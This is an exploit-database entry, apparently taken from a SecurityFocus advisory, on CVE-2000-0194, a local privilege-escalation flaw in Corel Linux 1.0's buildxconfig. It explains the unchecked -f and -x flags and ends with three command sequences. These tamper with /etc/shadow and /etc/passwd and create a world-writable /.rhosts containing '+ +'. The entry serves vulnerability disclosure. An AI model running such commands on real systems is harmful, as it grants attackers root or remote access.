Corel Linux OS 1.0 - buildxconfig

Author: suid
type: local
platform: linux
port: 
date_added: 2000-02-24 
date_updated: 2012-07-12 
verified: 1 
codes: CVE-2000-0194;OSVDB-1230 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1007/info

Several vulnerabilities exist in the buildxconfig program, as included with Corel Linux 1.0. Using this program, it is likely that a local user could elevate privileges.

By failing to check input to the -f and -x flags, it is possible for an attacker to append to existing files, or create files that previously didn't exist. Using the -f argument, and supplying a filename that does exist, it is possible to append information to a file. Using the -x argument, and a file that does exist, it is possible toreplace the first line of any file with the path to the X server selected. Finally, if either flag is passed the name of a file that does not exist, it will create it, with read, write and execute permission available for all users on the system.

Method 1: buildxconfig -f /etc/shadow

Method 2: buildxconfig -x /etc/passwd

Method 3:
umask 0
buildxconfig -x /.rhosts
echo "+ +" > /.rhosts